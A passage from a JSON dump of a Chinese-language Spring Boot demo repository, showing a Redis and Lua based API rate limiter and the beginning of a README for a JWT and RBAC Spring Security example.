    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n\t<groupId>io.github.wujun728</groupId>\n\t<artifactId>springboot_ratelimit_redis</artifactId>\n\t<version>1.0</version>\n\t<packaging>jar</packaging>\n\t\n  <name>springboot_ratelimit_redis</name>\n  <description>Demo project for Spring Boot</description>\n\n    <parent>\n        <groupId>io.github.wujun728</groupId>\n\t\t<artifactId>jun_springboot_plugin</artifactId>\n\t\t<version>1.0</version>\n    </parent>\n\n  <properties>\n    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n    <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>\n    <java.version>1.8</java.version>\n  </properties>\n\n  <dependencies>\n    <dependency>\n      <groupId>org.springframework.boot</groupId>\n      <artifactId>spring-boot-starter-web</artifactId>\n    </dependency>\n\n    <dependency>\n      <groupId>org.springframework.boot</groupId>\n      <artifactId>spring-boot-starter-aop</artifactId>\n    </dependency>\n\n    <dependency>\n      <groupId>org.springframework.boot</groupId>\n      <artifactId>spring-boot-starter-data-redis</artifactId>\n    </dependency>\n\n    <!-- 对象池，使用redis时必须引入 -->\n    <dependency>\n      <groupId>org.apache.commons</groupId>\n      <artifactId>commons-pool2</artifactId>\n    </dependency>\n\n    <dependency>\n      <groupId>cn.hutool</groupId>\n      <artifactId>hutool-all</artifactId>\n    </dependency>\n\n    <dependency>\n      <groupId>org.springframework.boot</groupId>\n      <artifactId>spring-boot-starter-test</artifactId>\n      <scope>test</scope>\n    </dependency>\n\n    <dependency>\n      <groupId>org.projectlombok</groupId>\n      <artifactId>lombok</artifactId>\n      <optional>true</optional>\n    </dependency>\n  </dependencies>\n\n  <build>\n    <finalName>springboot_ratelimit_redis</finalName>\n    <plugins>\n      <plugin>\n        <groupId>org.springframework.boot</groupId>\n        <artifactId>spring-boot-maven-plugin</artifactId>\n      </plugin>\n    </plugins>\n  </build>\n\n</project>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_ratelimit_redis/src/main/java/com/jun/plugin/ratelimit/redis/SpringBootDemoRatelimitRedisApplication.java",
    "content": "package com.jun.plugin.ratelimit.redis;\n\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\n\n/**\n * <p>\n * 启动器\n * </p>\n *\n * @author Wujun\n * @date Created in 2019/9/30 09:32\n */\n@SpringBootApplication\npublic class SpringBootDemoRatelimitRedisApplication {\n\n    public static void main(String[] args) {\n        SpringApplication.run(SpringBootDemoRatelimitRedisApplication.class, args);\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_ratelimit_redis/src/main/java/com/jun/plugin/ratelimit/redis/annotation/RateLimiter.java",
    "content": "package com.jun.plugin.ratelimit.redis.annotation;\n\nimport org.springframework.core.annotation.AliasFor;\nimport org.springframework.core.annotation.AnnotationUtils;\n\nimport java.lang.annotation.*;\nimport java.util.concurrent.TimeUnit;\n\n/**\n * <p>\n * 限流注解，添加了 {@link AliasFor} 必须通过 {@link AnnotationUtils} 获取，才会生效\n * </p>\n *\n * @author Wujun\n * @date Created in 2019/9/30 10:31\n * @see AnnotationUtils\n */\n@Target(ElementType.METHOD)\n@Retention(RetentionPolicy.RUNTIME)\n@Documented\npublic @interface RateLimiter {\n    long DEFAULT_REQUEST = 10;\n\n    /**\n     * max 最大请求数\n     */\n    @AliasFor(\"max\") long value() default DEFAULT_REQUEST;\n\n    /**\n     * max 最大请求数\n     */\n    @AliasFor(\"value\") long max() default DEFAULT_REQUEST;\n\n    /**\n     * 限流key\n     */\n    String key() default \"\";\n\n    /**\n     * 超时时长，默认1分钟\n     */\n    long timeout() default 1;\n\n    /**\n     * 超时时间单位，默认 分钟\n     */\n    TimeUnit timeUnit() default TimeUnit.MINUTES;\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_ratelimit_redis/src/main/java/com/jun/plugin/ratelimit/redis/aspect/RateLimiterAspect.java",
    "content": "package com.jun.plugin.ratelimit.redis.aspect;\n\nimport cn.hutool.core.util.StrUtil;\nimport lombok.RequiredArgsConstructor;\nimport lombok.extern.slf4j.Slf4j;\nimport org.aspectj.lang.ProceedingJoinPoint;\nimport org.aspectj.lang.annotation.Around;\nimport org.aspectj.lang.annotation.Aspect;\nimport org.aspectj.lang.annotation.Pointcut;\nimport org.aspectj.lang.reflect.MethodSignature;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.core.annotation.AnnotationUtils;\nimport org.springframework.data.redis.core.StringRedisTemplate;\nimport org.springframework.data.redis.core.script.RedisScript;\nimport org.springframework.stereotype.Component;\n\nimport com.jun.plugin.ratelimit.redis.annotation.RateLimiter;\nimport com.jun.plugin.ratelimit.redis.util.IpUtil;\n\nimport java.lang.reflect.Method;\nimport java.time.Instant;\nimport java.util.Collections;\nimport java.util.concurrent.TimeUnit;\n\n/**\n * <p>\n * 限流切面\n * </p>\n *\n * @author Wujun\n * @date Created in 2019/9/30 10:30\n */\n@Slf4j\n@Aspect\n@Component\n@RequiredArgsConstructor(onConstructor_ = @Autowired)\npublic class RateLimiterAspect {\n    private final static String SEPARATOR = \":\";\n    private final static String REDIS_LIMIT_KEY_PREFIX = \"limit:\";\n    private final StringRedisTemplate stringRedisTemplate;\n    private final RedisScript<Long> limitRedisScript;\n\n    @Pointcut(\"@annotation(com.jun.plugin.ratelimit.redis.annotation.RateLimiter)\")\n    public void rateLimit() {\n\n    }\n\n    @Around(\"rateLimit()\")\n    public Object pointcut(ProceedingJoinPoint point) throws Throwable {\n        MethodSignature signature = (MethodSignature) point.getSignature();\n        Method method = signature.getMethod();\n        // 通过 AnnotationUtils.findAnnotation 获取 RateLimiter 注解\n        RateLimiter rateLimiter = AnnotationUtils.findAnnotation(method, RateLimiter.class);\n        if (rateLimiter != null) {\n            String key = rateLimiter.key();\n            // 默认用类名+方法名做限流的 key 前缀\n            if (StrUtil.isBlank(key)) {\n                key = method.getDeclaringClass().getName()+StrUtil.DOT+method.getName();\n            }\n            // 最终限流的 key 为 前缀 + IP地址\n            // TODO: 此时需要考虑局域网多用户访问的情况，因此 key 后续需要加上方法参数更加合理\n            key = key + SEPARATOR + IpUtil.getIpAddr();\n\n            long max = rateLimiter.max();\n            long timeout = rateLimiter.timeout();\n            TimeUnit timeUnit = rateLimiter.timeUnit();\n            boolean limited = shouldLimited(key, max, timeout, timeUnit);\n            if (limited) {\n                throw new RuntimeException(\"手速太快了，慢点儿吧~\");\n            }\n        }\n\n        return point.proceed();\n    }\n\n    private boolean shouldLimited(String key, long max, long timeout, TimeUnit timeUnit) {\n        // 最终的 key 格式为：\n        // limit:自定义key:IP\n        // limit:类名.方法名:IP\n        key = REDIS_LIMIT_KEY_PREFIX + key;\n        // 统一使用单位毫秒\n        long ttl = timeUnit.toMillis(timeout);\n        // 当前时间毫秒数\n        long now = Instant.now().toEpochMilli();\n        long expired = now - ttl;\n        // 注意这里必须转为 String,否则会报错 java.lang.Long cannot be cast to java.lang.String\n        Long executeTimes = stringRedisTemplate.execute(limitRedisScript, Collections.singletonList(key), now + \"\", ttl + \"\", expired + \"\", max + \"\");\n        if (executeTimes != null) {\n            if (executeTimes == 0) {\n                log.error(\"【{}】在单位时间 {} 毫秒内已达到访问上限，当前接口上限 {}\", key, ttl, max);\n                return true;\n            } else {\n                log.info(\"【{}】在单位时间 {} 毫秒内访问 {} 次\", key, ttl, executeTimes);\n                return false;\n            }\n        }\n        return false;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_ratelimit_redis/src/main/java/com/jun/plugin/ratelimit/redis/config/RedisConfig.java",
    "content": "package com.jun.plugin.ratelimit.redis.config;\n\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.core.io.ClassPathResource;\nimport org.springframework.data.redis.core.script.DefaultRedisScript;\nimport org.springframework.data.redis.core.script.RedisScript;\nimport org.springframework.scripting.support.ResourceScriptSource;\n\n/**\n * <p>\n * Redis 配置\n * </p>\n *\n * @author Wujun\n * @date Created in 2019/9/30 11:37\n */\n@Configuration\npublic class RedisConfig {\n    @Bean\n    @SuppressWarnings(\"unchecked\")\n    public RedisScript<Long> limitRedisScript() {\n        DefaultRedisScript redisScript = new DefaultRedisScript<>();\n        redisScript.setScriptSource(new ResourceScriptSource(new ClassPathResource(\"scripts/redis/limit.lua\")));\n        redisScript.setResultType(Long.class);\n        return redisScript;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_ratelimit_redis/src/main/java/com/jun/plugin/ratelimit/redis/controller/TestController.java",
    "content": "package com.jun.plugin.ratelimit.redis.controller;\n\nimport cn.hutool.core.lang.Dict;\nimport lombok.extern.slf4j.Slf4j;\nimport org.springframework.web.bind.annotation.GetMapping;\nimport org.springframework.web.bind.annotation.RestController;\n\nimport com.jun.plugin.ratelimit.redis.annotation.RateLimiter;\n\n/**\n * <p>\n * 测试\n * </p>\n *\n * @author Wujun\n * @date Created in 2019/9/30 10:30\n */\n@Slf4j\n@RestController\npublic class TestController {\n\n    @RateLimiter(value = 5)\n    @GetMapping(\"/test1\")\n    public Dict test1() {\n        log.info(\"【test1】被执行了。。。。。\");\n        return Dict.create().set(\"msg\", \"hello,world!\").set(\"description\", \"别想一直看到我，不信你快速刷新看看~\");\n    }\n\n    @GetMapping(\"/test2\")\n    public Dict test2() {\n        log.info(\"【test2】被执行了。。。。。\");\n        return Dict.create().set(\"msg\", \"hello,world!\").set(\"description\", \"我一直都在，卟离卟弃\");\n    }\n\n    @RateLimiter(value = 2, key = \"测试自定义key\")\n    @GetMapping(\"/test3\")\n    public Dict test3() {\n        log.info(\"【test3】被执行了。。。。。\");\n        return Dict.create().set(\"msg\", \"hello,world!\").set(\"description\", \"别想一直看到我，不信你快速刷新看看~\");\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_ratelimit_redis/src/main/java/com/jun/plugin/ratelimit/redis/handler/GlobalExceptionHandler.java",
    "content": "package com.jun.plugin.ratelimit.redis.handler;\n\nimport cn.hutool.core.lang.Dict;\nimport lombok.extern.slf4j.Slf4j;\nimport org.springframework.web.bind.annotation.ExceptionHandler;\nimport org.springframework.web.bind.annotation.RestControllerAdvice;\n\n/**\n * <p>\n * 全局异常拦截\n * </p>\n *\n * @author Wujun\n * @date Created in 2019/9/30 10:30\n */\n@Slf4j\n@RestControllerAdvice\npublic class GlobalExceptionHandler {\n\n    @ExceptionHandler(RuntimeException.class)\n    public Dict handler(RuntimeException ex) {\n        return Dict.create().set(\"msg\", ex.getMessage());\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_ratelimit_redis/src/main/java/com/jun/plugin/ratelimit/redis/util/IpUtil.java",
    "content": "package com.jun.plugin.ratelimit.redis.util;\n\nimport cn.hutool.core.util.StrUtil;\nimport lombok.extern.slf4j.Slf4j;\nimport org.springframework.web.context.request.RequestContextHolder;\nimport org.springframework.web.context.request.ServletRequestAttributes;\n\nimport javax.servlet.http.HttpServletRequest;\n\n/**\n * <p>\n * IP 工具类\n * </p>\n *\n * @author Wujun\n * @date Created in 2019/9/30 10:38\n */\n@Slf4j\npublic class IpUtil {\n    private final static String UNKNOWN = \"unknown\";\n    private final static int MAX_LENGTH = 15;\n\n    /**\n     * 获取IP地址\n     * 使用Nginx等反向代理软件， 则不能通过request.getRemoteAddr()获取IP地址\n     * 如果使用了多级反向代理的话，X-Forwarded-For的值并不止一个，而是一串IP地址，X-Forwarded-For中第一个非unknown的有效IP字符串，则为真实IP地址\n     */\n    public static String getIpAddr() {\n        HttpServletRequest request = ((ServletRequestAttributes) RequestContextHolder.getRequestAttributes()).getRequest();\n        String ip = null;\n        try {\n            ip = request.getHeader(\"x-forwarded-for\");\n            if (StrUtil.isEmpty(ip) || UNKNOWN.equalsIgnoreCase(ip)) {\n                ip = request.getHeader(\"Proxy-Client-IP\");\n            }\n            if (StrUtil.isEmpty(ip) || ip.length() == 0 || UNKNOWN.equalsIgnoreCase(ip)) {\n                ip = request.getHeader(\"WL-Proxy-Client-IP\");\n            }\n            if (StrUtil.isEmpty(ip) || UNKNOWN.equalsIgnoreCase(ip)) {\n                ip = request.getHeader(\"HTTP_CLIENT_IP\");\n            }\n            if (StrUtil.isEmpty(ip) || UNKNOWN.equalsIgnoreCase(ip)) {\n                ip = request.getHeader(\"HTTP_X_FORWARDED_FOR\");\n            }\n            if (StrUtil.isEmpty(ip) || UNKNOWN.equalsIgnoreCase(ip)) {\n                ip = request.getRemoteAddr();\n            }\n        } catch (Exception e) {\n            log.error(\"IPUtils ERROR \", e);\n        }\n        // 使用代理，则获取第一个IP地址\n        if (!StrUtil.isEmpty(ip) && ip.length() > MAX_LENGTH) {\n            if (ip.indexOf(StrUtil.COMMA) > 0) {\n                ip = ip.substring(0, ip.indexOf(StrUtil.COMMA));\n            }\n        }\n        return ip;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_ratelimit_redis/src/main/resources/application.yml",
    "content": "server:\n  port: 8080\n  servlet:\n    context-path: /demo\nspring:\n  redis:\n    host: localhost\n    # 连接超时时间（记得添加单位，Duration）\n    timeout: 10000ms\n    # Redis默认情况下有16个分片，这里配置具体使用的分片\n    # database: 0\n    lettuce:\n      pool:\n        # 连接池最大连接数（使用负值表示没有限制） 默认 8\n        max-active: 8\n        # 连接池最大阻塞等待时间（使用负值表示没有限制） 默认 -1\n        max-wait: -1ms\n        # 连接池中的最大空闲连接 默认 8\n        max-idle: 8\n        # 连接池中的最小空闲连接 默认 0\n        min-idle: 0\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_ratelimit_redis/src/main/resources/scripts/redis/limit.lua",
    "content": "-- 下标从 1 开始\nlocal key = KEYS[1]\nlocal now = tonumber(ARGV[1])\nlocal ttl = tonumber(ARGV[2])\nlocal expired = tonumber(ARGV[3])\n-- 最大访问量\nlocal max = tonumber(ARGV[4])\n\n-- 清除过期的数据\n-- 移除指定分数区间内的所有元素，expired 即已经过期的 score\n-- 根据当前时间毫秒数 - 超时毫秒数，得到过期时间 expired\nredis.call('zremrangebyscore', key, 0, expired)\n\n-- 获取 zset 中的当前元素个数\nlocal current = tonumber(redis.call('zcard', key))\nlocal next = current + 1\n\nif next > max then\n  -- 达到限流大小 返回 0\n  return 0;\nelse\n  -- 往 zset 中添加一个值、得分均为当前时间戳的元素，[value,score]\n  redis.call(\"zadd\", key, now, now)\n  -- 每次访问均重新设置 zset 的过期时间，单位毫秒\n  redis.call(\"pexpire\", key, ttl)\n  return next\nend\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_ratelimit_redis/src/test/java/com/jun/plugin/ratelimit/redis/SpringBootDemoRatelimiterRedisApplicationTests.java",
    "content": "package com.jun.plugin.ratelimit.redis;\n\nimport org.junit.Test;\nimport org.junit.runner.RunWith;\nimport org.springframework.boot.test.context.SpringBootTest;\nimport org.springframework.test.context.junit4.SpringRunner;\n\n@RunWith(SpringRunner.class)\n@SpringBootTest\npublic class SpringBootDemoRatelimiterRedisApplicationTests {\n\n    @Test\n    public void contextLoads() {\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_rbac_security/README.md",
    "content": "# spring-boot-demo-rbac-security\n\n> 此 demo 主要演示了 Spring Boot 项目如何集成 Spring Security 完成权限拦截操作。本 demo 为基于**前后端分离**的后端权限管理部分，不同于其他博客里使用的模板技术，希望对大家有所帮助。\n\n## 1. 主要功能\n\n- [x] 基于 `RBAC` 权限模型设计，详情参考数据库表结构设计 [`security.sql`](./sql/security.sql)\n- [x] 支持**动态权限管理**，详情参考 [`RbacAuthorityService.java`](./src/main/java/com/xkcoding/rbac/security/config/RbacAuthorityService.java)\n- [x] **登录 / 登出**部分均使用自定义 Controller 实现，未使用 `Spring Security` 内部默认的实现，适用于前后端分离项目，详情参考 [`SecurityConfig.java`](./src/main/java/com/xkcoding/rbac/security/config/SecurityConfig.java) 和 [`AuthController.java`](./src/main/java/com/xkcoding/rbac/security/controller/AuthController.java)\n- [x] 持久化技术使用 `spring-data-jpa` 完成\n- [x] 使用 `JWT` 实现安全验证，同时引入 `Redis` 解决 `JWT` 无法手动设置过期的弊端，并且保证同一用户在同一时间仅支持同一设备登录，不同设备登录会将，详情参考 [`JwtUtil.java`](./src/main/java/com/xkcoding/rbac/security/util/JwtUtil.java)\n- [x] 在线人数统计，详情参考 [`MonitorService.java`](./src/main/java/com/xkcoding/rbac/security/service/MonitorService.java) 和 [`RedisUtil.java`](./src/main/java/com/xkcoding/rbac/security/util/RedisUtil.java)\n- [x] 手动踢出用户，详情参考 [`MonitorService.java`](./src/main/java/com/xkcoding/rbac/security/service/MonitorService.java) \n- [x] 自定义配置不需要进行拦截的请求，详情参考 [`CustomConfig.java`](./src/main/java/com/xkcoding/rbac/security/config/CustomConfig.java) 和 [`application.yml`](./src/main/resources/application.yml)\n\n## 2. 运行\n\n### 2.1. 环境\n\n1. JDK 1.8 以上\n2. Maven 3.5 以上\n3. Mysql 5.7 以上\n4. Redis\n\n### 2.2. 运行方式\n\n1. 新建一个名为 `spring-boot-demo` 的数据库，字符集设置为 `utf-8`，如果数据库名不是 `spring-boot-demo` 需要在 `application.yml` 中修改 `spring.datasource.url`\n2. 使用 [`security.sql`](./sql/security.sql) 这个 SQL 文件，创建数据库表和初始化RBAC数据\n3. 运行 `SpringBootDemoRbacSecurityApplication`\n4. 管理员账号：admin/123456 普通用户：user/123456\n5. 使用 `POST` 请求访问 `/${contextPath}/api/auth/login` 端点，输入账号密码，登陆成功之后返回token，将获得的 token 放在具体请求的 Header 里，key 固定是 `Authorization` ，value 前缀为 `Bearer 后面加空格`再加token，并加上具体请求的参数，就可以了\n6. enjoy ~​ :kissing_smiling_eyes:\n\n## 3. 部分关键代码\n\n### 3.1. pom.xml\n\n```xml\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n\n    <artifactId>spring-boot-demo-rbac-security</artifactId>\n    <version>1.0.0-SNAPSHOT</version>\n    <packaging>jar</packaging>\n\n    <name>spring-boot-demo-rbac-security</name>\n    <description>Demo project for Spring Boot</description>\n\n    <parent>\n        <groupId>io.github.wujun728</groupId>\n        <artifactId>spring-boot-demo</artifactId>\n        <version>1.0.0-SNAPSHOT</version>\n    </parent>\n\n    <properties>\n        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n        <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>\n        <java.version>1.8</java.version>\n        <jjwt.veersion>0.9.1</jjwt.veersion>\n    </properties>\n\n    <dependencies>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-web</artifactId>\n        </dependency>\n\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-security</artifactId>\n        </dependency>\n\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-data-jpa</artifactId>\n        </dependency>\n\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-data-redis</artifactId>\n        </dependency>\n\n        <!-- 对象池，使用redis时必须引入 -->\n        <dependency>\n            <groupId>org.apache.commons</groupId>\n            <artifactId>commons-pool2</artifactId>\n        </dependency>\n\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-configuration-processor</artifactId>\n            <optional>true</optional>\n        </dependency>\n\n        <dependency>\n            <groupId>io.jsonwebtoken</groupId>\n            <artifactId>jjwt</artifactId>\n            <version>${jjwt.veersion}</version>\n        </dependency>\n\n        <dependency>\n            <groupId>mysql</groupId>\n            <artifactId>mysql-connector-java</artifactId>\n        </dependency>\n\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-test</artifactId>\n            <scope>test</scope>\n        </dependency>\n\n        <dependency>\n            <groupId>cn.hutool</groupId>\n            <artifactId>hutool-all</artifactId>\n        </dependency>\n\n        <dependency>\n            <groupId>org.projectlombok</groupId>\n            <artifactId>lombok</artifactId>\n            <optional>true</optional>\n        </dependency>\n    </dependencies>\n\n    <build>\n        <finalName>spring-boot-demo-rbac-security</finalName>\n        <plugins>\n            <plugin>\n                <groupId>org.springframework.boot</groupId>\n                <artifactId>spring-boot-maven-plugin</artifactId>\n            </plugin>\n        </plugins>\n    </build>\n\n</project>\n```\n\n### 3.2. JwtUtil.java\n\n> JWT 工具类，主要功能：生成JWT并存入Redis、解析JWT并校验其准确性、从Request的Header中获取JWT\n\n```java\n/**\n * <p>\n * JWT 工具类\n * </p>\n *\n * @package: com.jun.plugin.rbac.security.util\n * @description: JWT 工具类\n * @author: yangkai.shen\n * @date: Created in 2018-12-07 13:42\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@EnableConfigurationProperties(JwtConfig.class)\n@Configuration\n@Slf4j\npublic class JwtUtil {\n    @Autowired\n    private JwtConfig jwtConfig;\n\n    @Autowired\n    private StringRedisTemplate stringRedisTemplate;\n\n    /**\n     * 创建JWT\n     *\n     * @param rememberMe  记住我\n     * @param id          用户id\n     * @param subject     用户名\n     * @param roles       用户角色\n     * @param authorities 用户权限\n     * @return JWT\n     */\n    public String createJWT(Boolean rememberMe, Long id, String subject, List<String> roles, Collection<? extends GrantedAuthority> authorities) {\n        Date now = new Date();\n        JwtBuilder builder = Jwts.builder()\n                .setId(id.toString())\n                .setSubject(subject)\n                .setIssuedAt(now)\n                .signWith(SignatureAlgorithm.HS256, jwtConfig.getKey())\n                .claim(\"roles\", roles)\n                .claim(\"authorities\", authorities);\n\n        // 设置过期时间\n        Long ttl = rememberMe ? jwtConfig.getRemember() : jwtConfig.getTtl();\n        if (ttl > 0) {\n            builder.setExpiration(DateUtil.offsetMillisecond(now, ttl.intValue()));\n        }\n\n        String jwt = builder.compact();\n        // 将生成的JWT保存至Redis\n        stringRedisTemplate.opsForValue()\n                .set(Consts.REDIS_JWT_KEY_PREFIX + subject, jwt, ttl, TimeUnit.MILLISECONDS);\n        return jwt;\n    }\n\n    /**\n     * 创建JWT\n     *\n     * @param authentication 用户认证信息\n     * @param rememberMe     记住我\n     * @return JWT\n     */\n    public String createJWT(Authentication authentication, Boolean rememberMe) {\n        UserPrincipal userPrincipal = (UserPrincipal) authentication.getPrincipal();\n        return createJWT(rememberMe, userPrincipal.getId(), userPrincipal.getUsername(), userPrincipal.getRoles(), userPrincipal.getAuthorities());\n    }\n\n    /**\n     * 解析JWT\n     *\n     * @param jwt JWT\n     * @return {@link Claims}\n     */\n    public Claims parseJWT(String jwt) {\n        try {\n            Claims claims = Jwts.parser()\n                    .setSigningKey(jwtConfig.getKey())\n                    .parseClaimsJws(jwt)\n                    .getBody();\n\n            String username = claims.getSubject();\n            String redisKey = Consts.REDIS_JWT_KEY_PREFIX + username;\n\n            // 校验redis中的JWT是否存在\n            Long expire = stringRedisTemplate.getExpire(redisKey, TimeUnit.MILLISECONDS);\n            if (Objects.isNull(expire) || expire <= 0) {\n                throw new SecurityException(Status.TOKEN_EXPIRED);\n            }\n\n            // 校验redis中的JWT是否与当前的一致，不一致则代表用户已注销/用户在不同设备登录，均代表JWT已过期\n            String redisToken = stringRedisTemplate.opsForValue()\n                    .get(redisKey);\n            if (!StrUtil.equals(jwt, redisToken)) {\n                throw new SecurityException(Status.TOKEN_OUT_OF_CTRL);\n            }\n            return claims;\n        } catch (ExpiredJwtException e) {\n            log.error(\"Token 已过期\");\n            throw new SecurityException(Status.TOKEN_EXPIRED);\n        } catch (UnsupportedJwtException e) {\n            log.error(\"不支持的 Token\");\n            throw new SecurityException(Status.TOKEN_PARSE_ERROR);\n        } catch (MalformedJwtException e) {\n            log.error(\"Token 无效\");\n            throw new SecurityException(Status.TOKEN_PARSE_ERROR);\n        } catch (SignatureException e) {\n            log.error(\"无效的 Token 签名\");\n            throw new SecurityException(Status.TOKEN_PARSE_ERROR);\n        } catch (IllegalArgumentException e) {\n            log.error(\"Token 参数不存在\");\n            throw new SecurityException(Status.TOKEN_PARSE_ERROR);\n        }\n    }\n\n    /**\n     * 设置JWT过期\n     *\n     * @param request 请求\n     */\n    public void invalidateJWT(HttpServletRequest request) {\n        String jwt = getJwtFromRequest(request);\n        String username = getUsernameFromJWT(jwt);\n        // 从redis中清除JWT\n        stringRedisTemplate.delete(Consts.REDIS_JWT_KEY_PREFIX + username);\n    }\n\n    /**\n     * 根据 jwt 获取用户名\n     *\n     * @param jwt JWT\n     * @return 用户名\n     */\n    public String getUsernameFromJWT(String jwt) {\n        Claims claims = parseJWT(jwt);\n        return claims.getSubject();\n    }\n\n    /**\n     * 从 request 的 header 中获取 JWT\n     *\n     * @param request 请求\n     * @return JWT\n     */\n    public String getJwtFromRequest(HttpServletRequest request) {\n        String bearerToken = request.getHeader(\"Authorization\");\n        if (StrUtil.isNotBlank(bearerToken) && bearerToken.startsWith(\"Bearer \")) {\n            return bearerToken.substring(7);\n        }\n        return null;\n    }\n\n}\n```\n\n### 3.3. SecurityConfig.java\n\n> Spring Security 配置类，主要功能：配置哪些URL不需要认证，哪些需要认证\n\n```java\n/**\n * <p>\n * Security 配置\n * </p>\n *\n * @package: com.jun.plugin.rbac.security.config\n * @description: Security 配置\n * @author: yangkai.shen\n * @date: Created in 2018-12-07 16:46\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Configuration\n@EnableWebSecurity\n@EnableConfigurationProperties(CustomConfig.class)\npublic class SecurityConfig extends WebSecurityConfigurerAdapter {\n    @Autowired\n    private CustomConfig customConfig;\n\n    @Autowired\n    private AccessDeniedHandler accessDeniedHandler;\n\n    @Autowired\n    private CustomUserDetailsService customUserDetailsService;\n\n    @Autowired\n    private JwtAuthenticationFilter jwtAuthenticationFilter;\n\n    @Bean\n    public BCryptPasswordEncoder encoder() {\n        return new BCryptPasswordEncoder();\n    }\n\n    @Override\n    @Bean\n    public AuthenticationManager authenticationManagerBean() throws Exception {\n        return super.authenticationManagerBean();\n    }\n\n    @Override\n    protected void configure(AuthenticationManagerBuilder auth) throws Exception {\n        auth.userDetailsService(customUserDetailsService)\n                .passwordEncoder(encoder());\n    }\n\n    @Override\n    protected void configure(HttpSecurity http) throws Exception {\n        http.cors()\n\n                // 关闭 CSRF\n                .and()\n                .csrf()\n                .disable()\n\n                // 登录行为由自己实现，参考 AuthController#login\n                .formLogin()\n                .disable()\n                .httpBasic()\n                .disable()\n\n                // 认证请求\n                .authorizeRequests()\n                // 所有请求都需要登录访问\n                .anyRequest()\n                .authenticated()\n                // RBAC 动态 url 认证\n                .anyRequest()\n                .access(\"@rbacAuthorityService.hasPermission(request,authentication)\")\n\n                // 登出行为由自己实现，参考 AuthController#logout\n                .and()\n                .logout()\n                .disable()\n\n                // Session 管理\n                .sessionManagement()\n                // 因为使用了JWT，所以这里不管理Session\n                .sessionCreationPolicy(SessionCreationPolicy.STATELESS)\n\n                // 异常处理\n                .and()\n                .exceptionHandling()\n                .accessDeniedHandler(accessDeniedHandler);\n\n        // 添加自定义 JWT 过滤器\n        http.addFilterBefore(jwtAuthenticationFilter, UsernamePasswordAuthenticationFilter.class);\n    }\n\n    /**\n     * 放行所有不需要登录就可以访问的请求，参见 AuthController\n     * 也可以在 {@link #configure(HttpSecurity)} 中配置\n     * {@code http.authorizeRequests().antMatchers(\"/api/auth/**\").permitAll()}\n     */\n    @Override\n    public void configure(WebSecurity web) {\n        WebSecurity and = web.ignoring()\n                .and();\n\n        // 忽略 GET\n        customConfig.getIgnores()\n                .getGet()\n                .forEach(url -> and.ignoring()\n                        .antMatchers(HttpMethod.GET, url));\n\n        // 忽略 POST\n        customConfig.getIgnores()\n                .getPost()\n                .forEach(url -> and.ignoring()\n                        .antMatchers(HttpMethod.POST, url));\n\n        // 忽略 DELETE\n        customConfig.getIgnores()\n                .getDelete()\n                .forEach(url -> and.ignoring()\n                        .antMatchers(HttpMethod.DELETE, url));\n\n        // 忽略 PUT\n        customConfig.getIgnores()\n                .getPut()\n                .forEach(url -> and.ignoring()\n                        .antMatchers(HttpMethod.PUT, url));\n\n        // 忽略 HEAD\n        customConfig.getIgnores()\n                .getHead()\n                .forEach(url -> and.ignoring()\n                        .antMatchers(HttpMethod.HEAD, url));\n\n        // 忽略 PATCH\n        customConfig.getIgnores()\n                .getPatch()\n                .forEach(url -> and.ignoring()\n                        .antMatchers(HttpMethod.PATCH, url));\n\n        // 忽略 OPTIONS\n        customConfig.getIgnores()\n                .getOptions()\n                .forEach(url -> and.ignoring()\n                        .antMatchers(HttpMethod.OPTIONS, url));\n\n        // 忽略 TRACE\n        customConfig.getIgnores()\n                .getTrace()\n                .forEach(url -> and.ignoring()\n                        .antMatchers(HttpMethod.TRACE, url));\n\n        // 按照请求格式忽略\n        customConfig.getIgnores()\n                .getPattern()\n                .forEach(url -> and.ignoring()\n                        .antMatchers(url));\n\n    }\n}\n```\n\n### 3.4. RbacAuthorityService.java\n\n> 路由动态鉴权类，主要功能：\n>\n> 1. 校验请求的合法性，排除404和405这两种异常请求\n> 2. 根据当前请求路径与该用户可访问的资源做匹配，通过则可以访问，否则，不允许访问\n\n```java\n/**\n * <p>\n * 动态路由认证\n 